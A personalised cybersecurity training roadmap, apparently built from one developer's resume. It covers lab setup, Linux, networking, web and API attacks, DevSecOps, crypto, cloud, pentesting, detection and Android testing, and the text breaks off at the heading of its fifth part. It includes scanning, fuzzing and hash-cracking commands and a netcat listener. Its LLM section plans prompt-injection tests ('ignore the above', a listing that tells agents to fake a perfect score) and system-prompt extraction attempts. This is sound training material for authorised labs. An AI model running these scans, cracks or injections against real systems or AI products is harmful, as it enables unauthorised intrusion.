A HANDS-ON PLAYBOOK · BUILT FROM YOUR RESUME

Breaking In
The Security Playbook

Learn cybersecurity by doing it — networking, web, and real-world hacking — using the Bash, JavaScript and tools you already know. No Python required. Every tool and every step says what it is and how to use it.



17	160+	40+	0
stages, from lab setup to getting hired	hands-on tasks to tick off	tools, each one explained	lines of Python you must write

Prepared for Aman Kumar Chhari · Full-Stack & Applied AI Engineer · 2 October 2026

Contents

START HERE

How to use this guide

What your resume already gives you

The honest truth about Python

Rules before you touch anything

PART A · FOUNDATIONS

Stage 0 · Build your lab

Stage 1 · Linux and Bash

Stage 2 · Networking

Stage 3 · How the web works, seen through Burp

PART B · ATTACK SKILLS

Stage 4 · Web vulnerabilities

Stage 5 · API security

Stage 6 · Write your own tools in JavaScript and Bash

PART C · YOUR EDGE

Stage 7 · Break and fix your own stack

Stage 8 · AI and LLM security

Stage 9 · Security in the pipeline (DevSecOps)

Stage 10 · Cryptography you will actually use

PART D · THE WIDER FIELD

Stage 11 · Cloud and platform security

Stage 12 · Network and system pentesting

Stage 13 · Defence: logs, detection, response

Stage 14 · Android app security

PART E · THE REAL WORLD

Stage 15 · Bug bounty and responsible disclosure

Stage 16 · Portfolio, roles and certifications

REFERENCE

Field manual · web attack flow

Field manual · network attack flow

Command cheat sheet

What each tool is, and how you use it

Where to practise (all free or freemium)

Master checklist

How to use this guide

Every stage has the same four blocks. **Learn** lists the ideas. **Do** lists practical tasks with a box to tick. **Tools** names what you install. **Move on when** is the test that tells you the stage is finished. There is no timeline anywhere: the only clock is whether you can do the "move on when" task without looking things up.

- **Parts A and B go in order.** Each stage needs the one before it.
- **Part C is where you become different from other beginners.** It uses the apps and the AI work already on your resume. Do it in order too.
- **Part D can be done in any order**, and you can skip a stage that does not fit the job you want.
- **Part E runs alongside everything** once you finish Stage 4. Write up what you do as you go.
- **Spend most of your time in the "Do" list.** Reading without typing commands does not build this skill.
- **Keep one notes file per stage** with the commands that worked and the mistakes you made. Those notes become your blog posts and your interview answers.

What your resume already gives you

You are not starting from zero. Most people entering security have to learn how web apps are built before they can break them. You have shipped four of them. This table maps what is on your resume to the security skill it turns into.

ON YOUR RESUME	SECURITY SKILL IT BECOMES	WHERE YOU USE IT
TypeScript, JavaScript, Node.js	Your scripting language for tools, exploits and automation. It replaces Python in this guide.	Stages 6, 8, 9, 14
Next.js 15, Server Actions, React 19	You can read the code that most modern targets run, and you know where developers forget checks.	Stages 4, 7
Supabase, Postgres, RLS, Firestore, MongoDB	Testing database rules, SQL and NoSQL injection, storage bucket exposure.	Stages 4, 7, 11
Clerk auth, role-gated dashboards	Authentication and access-control testing, the most common real-world bug class.	Stages 3, 4, 5
Razorpay webhooks, refunds, integer-paise money, order state machine	Business-logic and race-condition testing, webhook signature checks.	Stages 4, 7, 10
LLM gateway, spend caps, prompt-injection defence, 27 eval cases, multi-agent system	AI security and red teaming. Few security people can build this, so it is your strongest card.	Stage 8
Chrome Extension MV3 (ScanCart)	Browser extension security: permissions, content scripts, message passing.	Stage 7
REST APIs, rate limiting, Helmet, Zod validation	API security testing and knowing what a correct fix looks like.	Stage 5
GitHub Actions CI, Vitest, Vercel, Netlify	Putting security scans in the pipeline, protecting secrets and deployments.	Stages 9, 11
Android builds (Stack.apk, TIPSY.apk)	Mobile app testing on apps you own.	Stage 14
Technical writing, case studies, pitching	Writing clear vulnerability reports, which is half of the job.	Stages 15, 16

What is missing from your resume today: the word "security" as a skill group, any named security tool (Burp Suite, nmap, Semgrep), any lab or platform profile, and any written finding. Stages 7, 8 and 16 fix exactly that. You already have two documents in your projects folder, `Security_Testing_Checklist.pdf` and `Strix_Security_Testing_Guide.pdf`. This roadmap teaches the skills behind them; use that checklist as your test plan in Stage 7.

The roles this path leads to

ROLE	WHAT YOU DO	FIT FOR YOU
Application Security Engineer	Review code and designs, run scanners, help developers fix bugs.	Best fit. Needs a developer who learned security.
AI Security / AI Red Team	Attack and harden LLM features, agents and tools.	Best fit. Rare skill mix, growing demand.
Web / API Penetration Tester	Attack client apps with permission and write reports.	Strong fit after Stages 4 to 6.
Product Security Engineer	Own security for one product: threat models, fixes, tooling.	Strong fit. Close to what you did on CloseBy.
SOC Analyst	Watch alerts, investigate incidents.	Possible entry role. Needs Stage 13.

The honest truth about Python

You can learn and work in web, API, AI and application security without writing Python. Here is exactly where it shows up and what you do instead.

WHERE PEOPLE USE PYTHON	WHAT YOU USE INSTEAD
Quick scripts and automation	Bash for gluing tools together, Node.js for anything with logic. Stage 6 teaches both.
Sending custom HTTP requests	`curl`, Burp Repeater and Intruder, `fetch` in Node.
Tools written in Python (sqlmap, the ZAP scan scripts)	You only run them from the terminal. Running a tool is not writing Python.
Browser and login automation	Playwright in TypeScript.
App instrumentation (Frida)	Frida hooks are written in JavaScript.
Scanner rules	Nuclei and Semgrep rules are YAML. CodeQL has its own query language.
Public exploit code on Exploit-DB or GitHub	Much of it is Python. You will sometimes need to **read** a short script and change a URL or port. With your JavaScript background this is reading, not learning a language.

> **Where the limit is.** Two areas lean heavily on Python and are harder without it: binary exploitation (the pwntools library) and machine-learning research on model internals. Neither is needed for the roles above. If you later want them, that is the moment to pick Python up, not now.

Rules before you touch anything

- **Only test what you own or what you have written permission to test.** That means your own apps, lab machines, practice platforms and bug bounty programmes within their stated scope.
- **Testing a system without permission is a crime** in India under the Information Technology Act, 2000 (sections 43 and 66), even if you only "look" and even if you report it afterwards.
- **Test your apps on a local or staging copy first.** Vercel, Supabase, Clerk and Razorpay are shared platforms with their own terms. Test your own code and your own configuration, do not attack their infrastructure, and use Razorpay test mode for payment tests.
- **Never use real user data in a test.** Create test accounts: at least two buyers and two shop owners.
- **Write down what you do.** Notes protect you and turn into reports.

PART A

Foundations

The ground every security job stands on. Do these four stages in order.

0 Build your lab

A safe place to attack things. You already run Linux, which makes this easy.

LEARN

- What a virtual machine is, and the difference between NAT and host-only networking.
- What Docker gives you: a vulnerable app that starts in one command and is deleted in one command.
- Why you keep attack tools and vulnerable targets off your normal home network.

DO

- [ ] Install Docker and confirm `docker run hello-world` works.
- [ ] Install VirtualBox (or use KVM) and create one Kali Linux VM. Take a snapshot as soon as it boots.
- [ ] Install Burp Suite Community Edition and OWASP ZAP on your main machine.
- [ ] Start OWASP Juice Shop, a deliberately vulnerable app written in Node.js and TypeScript, and open it in the browser.
- [ ] Create free accounts on PortSwigger Web Security Academy, TryHackMe and Hack The Box.
- [ ] Make a private Git repository called `security-notes` with one folder per stage.

```
# Juice Shop: your main practice target, same stack you build with
docker run --rm -p 3000:3000 bkimminich/juice-shop

# WebGoat: guided lessons with a second app to attack
docker run --rm -p 8080:8080 -p 9090:9090 webgoat/webgoat
```

TOOLS

Docker · VirtualBox or KVM · Kali Linux · Burp Suite Community · OWASP ZAP · Juice Shop · WebGoat · OWASP NodeGoat · crAPI (used in Stage 5)

> **Move on when:** you can start Juice Shop, see its requests appear in Burp, stop it, and restore your Kali VM from a snapshot.

1 Linux and Bash

Almost every server, tool and target runs Linux. Bash is your first scripting language here.

LEARN

- Files and paths, `/etc`, `/var/log`, `/home`, `/tmp`
- Users, groups, `sudo`, `/etc/passwd` and `/etc/shadow`
- Permissions: read, write, execute, SUID, `chmod`, `chown`
- Processes and services: `ps`, `top`, `systemctl`, `journalctl`
- Scheduled jobs with `cron`
- Text tools: `grep`, `sed`, `awk`, `cut`, `sort`, `uniq`, `jq`
- Pipes, redirects, exit codes, environment variables
- SSH: keys, config file, port forwarding, `scp`
- Bash scripts: variables, loops, `if`, functions, arguments
- Package managers and where binaries live (`which`, `$PATH`)

DO

- [ ] Finish every level of OverTheWire **Bandit**. It teaches the command line through small break-in puzzles.
- [ ] Complete the TryHackMe Linux Fundamentals rooms (parts 1 to 3).
- [ ] Find every SUID file on your Kali VM with `find / -perm -4000 -type f 2>/dev/null` and look three of them up on GTFOBins.
- [ ] Write a Bash script that takes a log file and prints the ten IP addresses with the most requests.

- [ ] Write a Bash script that reads a list of URLs and prints the status code of each one.
- [ ] Set up SSH key login from your machine to the Kali VM and turn off password login.
- [ ] Read your own machine's `/var/log/auth.log` (or `journalctl -u ssh`) and explain every line type you see.

> **Move on when:** you can live in the terminal for a full session without opening a file manager, and you can write a 20-line Bash script from memory.

2 Networking

You cannot attack or defend traffic you cannot read.

LEARN

- IP addresses, subnets, CIDR, private ranges, NAT
- TCP versus UDP, the three-way handshake, ports
- DNS: A, AAAA, CNAME, MX, TXT, NS records, resolvers
- HTTP/1.1, HTTP/2, and what TLS adds on top
- Common services and ports: SSH 22, DNS 53, HTTP 80, HTTPS 443, SMB 445, Postgres 5432, RDP 3389
- Firewalls, proxies, load balancers, CDNs, VPNs
- ARP, DHCP and what "man in the middle" means
- Certificates, certificate authorities, SNI

DO

- [ ] Scan your own Kali VM and your Juice Shop container with `nmap`. Explain each open port.
- [ ] Capture a page load of Juice Shop in Wireshark. Find the TCP handshake, then follow one HTTP stream.
- [ ] Capture an HTTPS page load and identify the TLS Client Hello and the server name inside it.
- [ ] Use `dig` to pull every record type for your portfolio domain and explain each answer.
- [ ] Use `openssl s_client` to read the certificate chain of your deployed CloseBy site.
- [ ] Open a listener with `nc -lvnp 4444` in one terminal and connect to it from another. Send text both ways.
- [ ] Complete the TryHackMe rooms on networking basics, Nmap and Wireshark.

```
nmap -sC -sV -oN scan.txt 127.0.0.1          # default scripts + service versions
nmap -p- --min-rate 1000 <lab-ip>            # all 65535 TCP ports
sudo tcpdump -i any -n port 3000 -w cap.pcap # capture to open in Wireshark
dig +short TXT example.com
openssl s_client -connect example.com:443 -servername example.com
```

TOOLS

nmap · Wireshark · tcpdump · netcat · dig · curl · openssl

> **Move on when:** you can explain, packet by packet, what happens between typing a URL and seeing the page, and show each step in a capture.

3 How the web works, seen through Burp

You know the web as a builder. This stage teaches you to see it as raw requests that you can change.

LEARN

- Requests and responses: methods, headers, status codes, bodies
- Cookies and their flags: `HttpOnly`, `Secure`, `SameSite`
- Sessions versus tokens, and how JWTs are built and signed
- Same-origin policy and CORS
- Content Security Policy and the other security headers
- OAuth 2.0 and OpenID Connect flows (what Clerk does for you)
- Encoding: URL, HTML, Base64, Unicode
- Client-side versus server-side checks, and why only the server counts

DO

- [ ] Set your browser to send traffic through Burp and install the Burp certificate.

- [ ] Learn the four Burp tools you will use daily: Proxy, Repeater, Intruder, Decoder. Do the "Burp Suite basics" rooms on TryHackMe.
- [ ] Run CloseBy locally, log in as a buyer, and read every request the app sends in Burp's HTTP history. Note which ones change data.
- [ ] Send one Server Action request to Repeater. Change a value in the body and resend it. Write down what the server did.
- [ ] Copy your session cookie into `curl` and repeat a logged-in request from the terminal.
- [ ] Decode a JWT from one of your apps by hand (split on the dots, Base64-decode each part) and name every claim.
- [ ] Check the security headers of all your live sites and list what is missing.
- [ ] Finish the PortSwigger Academy topics on CORS and on authentication (apprentice level).

TOOLS

Burp Suite Community · browser DevTools · curl · CyberChef · jwt.io for viewing tokens (never paste production tokens into a website)

> **Move on when:** you can take any button in your own app and reproduce what it does with a hand-edited request in Burp Repeater.

PART B

Attack skills

Finding and proving real vulnerabilities in web apps and APIs.

4 Web vulnerabilities

The core of the whole path. Take one bug class at a time: read, solve labs, then find it in Juice Shop.

LEARN AND PRACTISE, IN THIS ORDER

BUG CLASS	WHAT IT IS, IN ONE LINE	LOOK FOR IT IN YOUR STACK
Broken access control, IDOR	A user reads or changes something that belongs to another user by changing an ID.	Order, shop and chat IDs in CloseBy
Authentication flaws	Weak login, reset, session or multi-factor logic.	Role switch between buyer and owner
SQL injection	User input becomes part of a database query.	Raw SQL and Postgres functions
NoSQL injection	Objects or operators sent where a string was expected.	MongoDB and Firestore queries
Cross-site scripting (XSS)	Attacker script runs in a victim's browser: reflected, stored, DOM.	`dangerouslySetInnerHTML`, chat messages
CSRF	Another site makes the victim's browser send a request.	Cookie settings, custom route handlers
SSRF	The server is tricked into fetching an attacker-chosen URL.	Any feature that fetches a URL, image import, ScanCart scanning
Command injection	Input reaches a shell command.	`child_process` calls
Path traversal	`../` in a filename reads files outside the folder.	File downloads, CSV import
File upload flaws	Uploading a file type or size the app did not expect.	Shelf photos, Supabase Storage
Business logic	The app does what the code says, not what the business wants.	Prices, quantities, refunds, order states

Race conditions	Two requests at the same instant break a check.	Stock holds, payment confirmation
Prototype pollution	A JavaScript-specific bug: input changes `Object.prototype`.	Deep merge of user JSON
Information disclosure	Errors, source maps, debug pages leak secrets.	Stack traces, `NEXT_PUBLIC_` variables
Insecure deserialization, XXE, SSTI	Parsers and template engines run attacker data.	Less common in your stack; learn to recognise them
Request smuggling, cache poisoning	Proxy and server disagree about a request.	Advanced; do after everything else
WebSocket and client-side attacks	Clickjacking, DOM clobbering, postMessage, WebSocket hijack.	Supabase Realtime, extension messaging

DO

- [ ] For each row above, solve all **Apprentice** labs for that topic in PortSwigger Web Security Academy, then the **Practitioner** ones.
- [ ] Solve Juice Shop challenges up to and including three stars without reading solutions. Use the built-in scoreboard to track them.
- [ ] Install OWASP NodeGoat and work through its tutorial. It shows the OWASP Top 10 in Express and MongoDB code you can read.
- [ ] For every bug you exploit, write three lines: how you found it, how you proved it, how to fix it in code.
- [ ] Use Burp Intruder to brute-force a login in a lab, then note what rate limiting would have stopped it.
- [ ] Run `sqlmap` against a lab SQL injection only after you have exploited it by hand first.
- [ ] Run a ZAP automated scan against Juice Shop and compare what it found with what you found by hand.
- [ ] Read the OWASP Top 10 and the OWASP Web Security Testing Guide index so you know the names professionals use.

TOOLS

Burp Suite · OWASP ZAP · sqlmap · ffuf · browser DevTools · SecLists wordlists

> **Move on when:** you have solved every Apprentice lab and at least half the Practitioner labs on PortSwigger, and you can explain IDOR, XSS, SQL injection and SSRF to a non-technical person with a real example.

5 API security

Modern apps are mostly APIs. The bugs are simpler than web bugs and far more common.

LEARN

- The OWASP API Security Top 10
- BOLA (object-level) and BFLA (function-level) authorization failures
- Mass assignment: sending fields the API should not accept, such as `role` or `price`
- Excessive data exposure in JSON responses
- Rate limiting and resource exhaustion
- JWT attacks: `alg: none`, weak secrets, key confusion
- GraphQL: introspection, batching, depth attacks
- Finding hidden and old API versions and endpoints

DO

- [ ] Deploy OWASP **crAPI** with Docker Compose and complete all of its challenges.
- [ ] Take the free API security courses at APIsec University, including the API penetration testing course.
- [ ] Do the PortSwigger topics on API testing, JWT attacks, OAuth and GraphQL.

- [ ] Fuzz Juice Shop for hidden endpoints with `ffuf` and a SecLists wordlist.
- [ ] Write down every route handler and Server Action in CloseBy as an "API map" with: who may call it, what input it takes, what it changes.
- [ ] For each entry on that map, test it with two accounts: can user B call it with user A's IDs?
- [ ] Try mass assignment on your own update endpoints: add `role`, `price`, `ownerId` and `status` fields and see whether Zod strips them.
- [ ] Crack a weak JWT secret in a lab with `hashcat -m 16500`.

```
ffuf -u http://localhost:3000/FUZZ -w SecLists/Discovery/Web-Content/common.txt -mc 200,301,302,401,403
ffuf -u http://localhost:3000/api/FUZZ -w api-endpoints.txt -H "Authorization: Bearer $TOKEN"
```

> **Move on when:** you can hand someone an API map of an unfamiliar app and a list of authorization tests for each endpoint.

6 Write your own tools in JavaScript and Bash

This is the stage that replaces Python. You already know the language; here you point it at security work.

LEARN

- Node built-ins that matter: `net` and `tls` for sockets, `dns`, `crypto`, `fetch`, `child_process`, `fs`, worker threads.
- Controlling concurrency, timeouts and retries so you do not flood a target.
- Playwright for scripted logins and multi-step flows.
- Bash one-liners that chain tools with pipes, `xargs` and `jq`.
- Writing YAML templates for Nuclei and YAML rules for Semgrep.

DO: BUILD THESE, ONE SMALL REPO EACH

- [ ] **Port scanner** in Node using `net.connect`, with a concurrency limit and a timeout.
- [ ] **Directory brute-forcer** that reads a wordlist and reports status codes and response sizes.
- [ ] **Subdomain finder** that resolves a wordlist with `dns.promises` and also queries certificate transparency logs (crt.sh).
- [ ] **Security header checker** that grades a list of URLs.
- [ ] **JWT tool** that decodes, edits claims, re-signs with a given secret and tests the `none` algorithm in a lab.
- [ ] **IDOR tester**: takes two session cookies and a list of URLs, and reports every URL where user B gets user A's data.
- [ ] **Race-condition tester** that sends the same request many times at once and counts how many succeeded.
- [ ] **Playwright script** that logs into your app, then exports the cookies for your other tools.
- [ ] **One Nuclei template** that detects a problem you found by hand in Juice Shop.
- [ ] **One Bash recon script** that runs subdomain discovery, checks which hosts are alive and saves the result.

```
// scan.mjs: run with  node scan.mjs 127.0.0.1
import net from "node:net";
const host = process.argv[2] ?? "127.0.0.1";
const ports = [22, 80, 443, 3000, 5432, 8080];
const check = (port) => new Promise((resolve) => {
  const s = net.connect({ host, port, timeout: 800 });
  s.once("connect", () => { s.destroy(); resolve([port, "open"]); });
  s.once("timeout", () => { s.destroy(); resolve([port, "filtered"]); });
  s.once("error", () => resolve([port, "closed"]));
});
for (const [port, state] of await Promise.all(ports.map(check))) console.log(port, state);
```

```
# headers.sh: which of my sites are missing security headers?
while read -r url; do
  echo "== $url"
  curl -sI "$url" | grep -iE 'strict-transport|content-security|x-frame|x-content-type|set-cookie'
done < urls.txt
```

Move on when: you reach for Node or Bash, without thinking, whenever a test needs to be repeated more than five times.

PART C

Your edge

Where your resume turns into a security profile. Everything here produces something you can show.

7 Break and fix your own stack

You wrote these apps, so you can test them legally and fix what you find. Each finding becomes a case study.

Use what you have: work through the 62 checks in your `Security_Testing_Checklist.pdf` by hand, one app at a time, before running any automated scanner. Doing it by hand is the learning.

LEARN

- Threat modelling with STRIDE: spoofing, tampering, repudiation, information disclosure, denial of service, elevation of privilege.
- Drawing a data-flow diagram and marking trust boundaries (you already use Excalidraw for flows).
- Rating findings by severity with CVSS, and writing a fix recommendation.

DO: NEXT.JS AND CLERK

- [ ] Treat every Server Action as a public POST endpoint. Confirm each one checks the session **and** the role **and** ownership of the record inside the action itself.
- [ ] Confirm no protection depends on middleware alone. Call protected routes directly and check they still refuse you.
- [ ] Search the client bundle for secrets: list every `NEXT_PUBLIC_` variable and check production source maps are not published.
- [ ] As a buyer, call every owner-only action. As owner A, call actions on shop B.
- [ ] Check every place user text is rendered, including chat and product names, for stored XSS.

DO: SUPABASE, POSTGRES AND FIREBASE

- [ ] List every table and confirm Row Level Security is enabled on each one.
- [ ] With only the public anon key and `curl`, try to read and write each table through the REST endpoint. Anything that answers is a finding.
- [ ] Log in as user B and repeat the same calls with B's token against A's rows.
- [ ] Confirm the service-role key is used only on the server and never reaches the browser.
- [ ] Check Storage bucket policies: can anyone list or overwrite another shop's photos?
- [ ] Check which Realtime channels a user can subscribe to, and whether they receive other users' order updates.
- [ ] For ScanCart, review Firestore security rules and test them with the Firebase emulator.

```
# Does this table answer to the public key alone? It should return [] or an error.
curl "https://<project>.supabase.co/rest/v1/orders?select=*" \
  -H "apikey: $SUPABASE_ANON_KEY" -H "Authorization: Bearer $SUPABASE_ANON_KEY"
```

DO: PAYMENTS AND ORDER LOGIC (RAZORPAY TEST MODE ONLY)

- [ ] Confirm the webhook handler verifies the `X-Razorpay-Signature` HMAC over the **raw** request body, and rejects a forged call.
- [ ] Replay a valid webhook twice. The order must not be paid, or stock released, twice.
- [ ] Change the amount, quantity or item price in the checkout request. The server must recompute the total from the database.
- [ ] Send negative, zero, decimal and very large quantities.
- [ ] Try to jump the seven-state order machine: move an order to a state the current role should not be able to set.
- [ ] Use your race-condition tool from Stage 6: buy the last item from two sessions at once, and cancel and pay the same order at the same instant.
- [ ] Trigger the refund path twice for one rejected order.

DO: CHROME EXTENSION AND WHATSAPP BOT

- [ ] Reduce ScanCart's `permissions` and `host_permissions` to the minimum and justify each one in writing.
- [ ] Check that messages from content scripts are validated by the background worker, since a web page can influence a content script.
- [ ] Check that page content from a shopping site can never be inserted as HTML into the extension's own pages.
- [ ] Confirm no API key ships inside the extension package. Unzip the build and search it.
- [ ] For Orderly, send the bot very long messages, unusual Unicode, and messages that look like commands. Check what one customer can learn about another customer's orders.
- [ ] Confirm the bot's session files and Supabase keys are not readable by other users on the host.

DO: WRITE IT UP

- [ ] Draw a threat model for CloseBy: one data-flow diagram, trust boundaries, and a STRIDE table.
- [ ] Write a security review report for each app: summary, scope, findings with severity, proof, fix, and retest result.
- [ ] Fix every finding in code, add a test that fails if it returns, and note the commit.

> **Move on when:** CloseBy has a written threat model, a findings report, and every finding is either fixed with a test or accepted with a written reason.

8 AI and LLM security

Your strongest advantage. You already built a gateway, spend caps, approval steps and eval cases. Now learn to attack them like an adversary.

LEARN

- The OWASP Top 10 for LLM Applications
- Direct prompt injection and jailbreaks
- Indirect prompt injection: hostile text inside data the model reads (a product listing, a review, a photo, a web page)
- Excessive agency: tools that can do more than the task needs
- Insecure output handling: model output reaching HTML, SQL, a shell or another tool unchecked
- System prompt and data leakage
- Cost and resource attacks ("denial of wallet")
- Multi-agent risks: one compromised agent influencing the others
- RAG and memory poisoning
- MCP server and tool supply-chain risks
- MITRE ATLAS, the attack framework for AI systems

DO

- [ ] Beat every level of Lakera's **Gandalf** prompt-injection game and note which trick worked at each level.
- [ ] Solve all "Web LLM attacks" labs on PortSwigger Web Security Academy.
- [ ] Install **promptfoo**, an open-source LLM testing and red-teaming tool that runs on Node, and point its red-team mode at one CloseBy helper in a test environment.

- [ ] Add attack cases to your existing 27 eval cases: injection in Hindi and Hinglish, instructions hidden in a product name, instructions written on a shelf photo, a voice list that says "ignore the above".
- [ ] ScanCart reads untrusted product pages. Create a fake listing whose description tells the agents to return a perfect Trust Score, and see whether the score moves.
- [ ] Check that one poisoned agent result (seller or price) cannot steer the compliance agent that consumes it.
- [ ] For each tool your models can call, write down the worst thing it could do if the model were fully controlled by an attacker. Remove or narrow anything that scares you.
- [ ] Prove the "draft, never write" rule holds: try to get a helper to save data without owner approval.
- [ ] Attack your own spend cap: find the request shape that costs the most tokens, and confirm the daily cap and kill switch stop it.
- [ ] Try to make a helper reveal its system prompt, another shop's catalogue, or environment values.
- [ ] Check that model output shown in the UI is rendered as text, never as HTML or Markdown links that could send data elsewhere.
- [ ] Write a short "LLM threat model" for the CloseBy gateway and publish it as a case study.

```
npx promptfoo@latest redteam init     # describe the target and choose attack plugins
npx promptfoo@latest redteam run      # generate and send the attacks
npx promptfoo@latest redteam report   # view what got through
```

> **Keep it honest.** No prompt-level defence is complete. The lasting controls are the ones you already use: least-privilege tools, human approval before writes, validated output, and spend limits. Your write-ups should show which attacks got through before a fix and which still do.

> **Move on when:** you have a repeatable red-team suite for one of your LLM features, a list of what it catches, and a public write-up of at least one injection you found and fixed.

9 Security in the pipeline (DevSecOps)

Application security teams live here. You already have GitHub Actions CI, so this is an extension of work you know.

LEARN

- SAST: scanning source code for bug patterns
- SCA: scanning dependencies for known vulnerabilities
- Secret scanning in code and Git history
- DAST: scanning a running app
- Supply-chain attacks on npm: typosquatting, malicious install scripts, compromised maintainers
- Lockfiles, pinned versions, `npm ci`, provenance
- SBOMs and what CVE, CWE and CVSS mean
- Manual secure code review: following input from source to sink

DO

- [ ] Run Semgrep on CloseBy and triage every result as true, false or not relevant.
- [ ] Write two custom Semgrep rules for your own code base, for example "Server Action without an auth call" and "raw SQL built with string concatenation".
- [ ] Turn on GitHub code scanning with CodeQL for JavaScript and TypeScript.
- [ ] Run `npm audit` and `osv-scanner`, then decide for each finding whether the vulnerable code is actually reachable.
- [ ] Run Gitleaks across the full Git history of every repo. Rotate any key it finds; deleting the commit is not enough.
- [ ] Turn on Dependabot alerts and secret-scanning push protection on your GitHub repos.
- [ ] Add a GitHub Actions job that fails the build on new high-severity findings.
- [ ] Add a ZAP baseline scan against a preview deployment.
- [ ] Scan one Docker image with Trivy and fix what it reports.

- [ ] Review GitHub Actions workflows themselves: pinned action versions, minimum `permissions`, no secrets exposed to pull requests from forks.
- [ ] Pick one open-source Next.js project and do a manual code review for access-control bugs. Report anything real privately to the maintainers.

```
semgrep scan --config auto .          # SAST
npm audit --omit=dev                  # dependencies used in production
osv-scanner scan -r .                 # dependencies, across lockfiles
gitleaks detect --source . -v         # secrets, including Git history
trivy fs .                            # files, lockfiles, config
```

> **Move on when:** every push to CloseBy runs code, dependency and secret scans, and you can explain each tool's blind spots.

10 Cryptography you will actually use

No heavy maths. You need to choose the right building block and spot the wrong one.

LEARN

- Encoding versus hashing versus encryption
- Hashes: SHA-256; why MD5 and SHA-1 are broken
- Password hashing: Argon2, bcrypt, scrypt, salts
- HMAC, and why webhooks use it
- Symmetric encryption (AES-GCM) and asymmetric (RSA, elliptic curves)
- Digital signatures, certificates and how TLS uses them
- Secure random values versus `Math.random()`
- Timing-safe comparison, key storage and rotation

DO

- [ ] Using only Node's `crypto` module, write small scripts that hash, HMAC, encrypt with AES-256-GCM, and sign and verify.
- [ ] Re-implement Razorpay webhook verification from scratch with `crypto.createHmac` and `crypto.timingSafeEqual`.
- [ ] Crack a list of practice MD5 and bcrypt hashes with `hashcat` or `john` and the rockyou wordlist. Feel the speed difference.
- [ ] Solve the PortSwigger JWT labs again and explain each attack in terms of the signature.
- [ ] Use CyberChef to decode ten layered encodings from CTF practice sets.
- [ ] Grade your sites' TLS setup with `testssl.sh` or SSL Labs.
- [ ] Search your repos for `Math.random`, `md5`, `sha1` and hard-coded keys, and fix what matters.

> **Move on when:** given any feature (password storage, API tokens, webhook checks, file encryption) you can name the right primitive and the common mistake.

PART D

The wider field

Any order. Do the ones that match the job you want; know the vocabulary of the rest.

11 Cloud and platform security

Most breaches today are misconfiguration, not clever exploits.

LEARN

- The shared responsibility model: what the platform secures and what you must secure.
- Identity and access management: users, roles, policies, least privilege.
- Storage buckets, public links, signed URLs.
- Secrets: environment variables, secret managers, rotation, preview versus production values.

- Serverless and edge functions: what they can reach, what they log.
- Containers: images, non-root users, exposed sockets, basic Kubernetes vocabulary.
- Cloud metadata endpoints and why SSRF is so dangerous in the cloud.

DO

- [ ] Complete **flaws.cloud** and **flaws2.cloud**, free AWS challenge series you solve with the AWS command line.
- [ ] Open an AWS free-tier account, turn on MFA, set a budget alert, and create a least-privilege IAM user.
- [ ] Audit your Vercel and Netlify projects: which secrets exist in preview deployments, who can view deployment logs, are preview URLs protected?
- [ ] Audit your Supabase projects: API keys, database password, network restrictions, backups, auth email settings.
- [ ] Run `trivy config .` on a Dockerfile or infrastructure file and fix the findings.
- [ ] Write a one-page "secrets inventory" for CloseBy: every key, where it lives, who can read it, how to rotate it.
- [ ] Rotate one real key end to end to prove you can do it without downtime.

> **Move on when:** you can list every secret and every public entry point of your deployed apps from memory.

12 Network and system pentesting

The classic "hack the box" skill set. Needed for general pentest roles, useful background for everything else.

LEARN

- The pentest method: recon, scanning, enumeration, exploitation, privilege escalation, reporting
- Enumerating services: SMB, FTP, SSH, SNMP, databases
- Finding and using public exploits; the Metasploit Framework
- Reverse shells and bind shells
- Linux privilege escalation: SUID, sudo rules, cron, capabilities, kernel
- Windows basics and Windows privilege escalation
- Active Directory basics: users, groups, Kerberos, common attacks
- Password attacks, pivoting and tunnelling

DO

- [ ] Follow the TryHackMe Jr Penetration Tester learning path.
- [ ] Finish Hack The Box Starting Point, all tiers.
- [ ] Root ten retired "easy" Linux machines on Hack The Box or TryHackMe. Write a short walkthrough for each.
- [ ] Run LinPEAS on a lab machine, then find the same weaknesses by hand so you understand its output.
- [ ] Use Metasploit on one lab machine, then exploit the same flaw without it.
- [ ] Complete one beginner Active Directory lab and map it with BloodHound.
- [ ] When a public exploit is a Python script, read it line by line and say what each request does. Rewrite one in Node as an exercise.

TOOLS

nmap · Metasploit · netcat · LinPEAS and WinPEAS · GTFOBins · hashcat · john · hydra · BloodHound · chisel

> **Move on when:** you can take an unknown easy lab machine from IP address to root using only your own notes.

13 Defence: logs, detection and response

Attackers and defenders need the same knowledge. This stage also opens SOC analyst roles.

LEARN

- What to log, what never to log (passwords, tokens, card data), and where logs go.
- The MITRE ATT&CK framework: tactics, techniques, and mapping an attack to them.
- SIEM basics: collecting, searching and alerting on logs.
- Detection rules: Sigma for logs, YARA for files.

- The incident response cycle: prepare, detect, contain, remove, recover, review.
- Basic malware and phishing analysis: headers, links, attachments, sandboxes.

DO

- [ ] Follow the TryHackMe SOC Level 1 path.
- [ ] Install Wazuh in Docker, connect your Kali VM as an agent, attack it, and find your own attack in the alerts.
- [ ] Attack Juice Shop, then find every attack in its access logs using only `grep`, `awk` and `jq`.
- [ ] Solve five investigations on CyberDefenders, Blue Team Labs Online or LetsDefend.
- [ ] Write one Sigma rule that would have detected a brute-force login against your app.
- [ ] Add security logging to CloseBy: failed logins, permission denials, AI gateway blocks, webhook signature failures. Add one alert.
- [ ] Write a one-page incident runbook: "a Supabase service key leaked. What do we do, in order?"
- [ ] Analyse the headers of three real phishing emails from your spam folder. Do not click anything.

> **Move on when:** for any attack you can carry out, you can also say what log line it leaves and what alert should fire.

14 Android app security

Optional. You have your own APKs to practise on, and the main instrumentation tool here is scripted in JavaScript.

LEARN

- How an APK is built: manifest, activities, services, receivers, content providers, permissions.
- Static analysis: decompiling to read code and find secrets, endpoints and weak storage.
- Dynamic analysis: intercepting app traffic through Burp, certificate pinning and how it is bypassed in a lab.
- Insecure local storage, exported components, deep-link abuse, WebView risks.
- The OWASP Mobile Top 10 and the Mobile Application Security Testing Guide (MASTG).

DO

- [ ] Decompile `Stack.apk` and `TIPSY.apk` with `jadx`. Search for API keys, URLs and anything that should not ship.
- [ ] Run both through MobSF and triage the report.
- [ ] Set up an Android emulator, route its traffic through Burp, and read what your app sends.
- [ ] Write one Frida hook in JavaScript that logs the arguments of a function in a practice app.
- [ ] Solve the OWASP MASTG crackme levels 1 and 2.
- [ ] Check every exported component in your manifests and justify each one.

```
jadx -d out/ Stack.apk                # decompile to readable code
apktool d TIPSY.apk                   # unpack manifest and resources
grep -rniE "api[_-]?key|secret|token|https?://" out/ | head
```

> **Move on when:** you can take an APK you have never seen and report its endpoints, stored secrets and exported components.

PART E

The real world

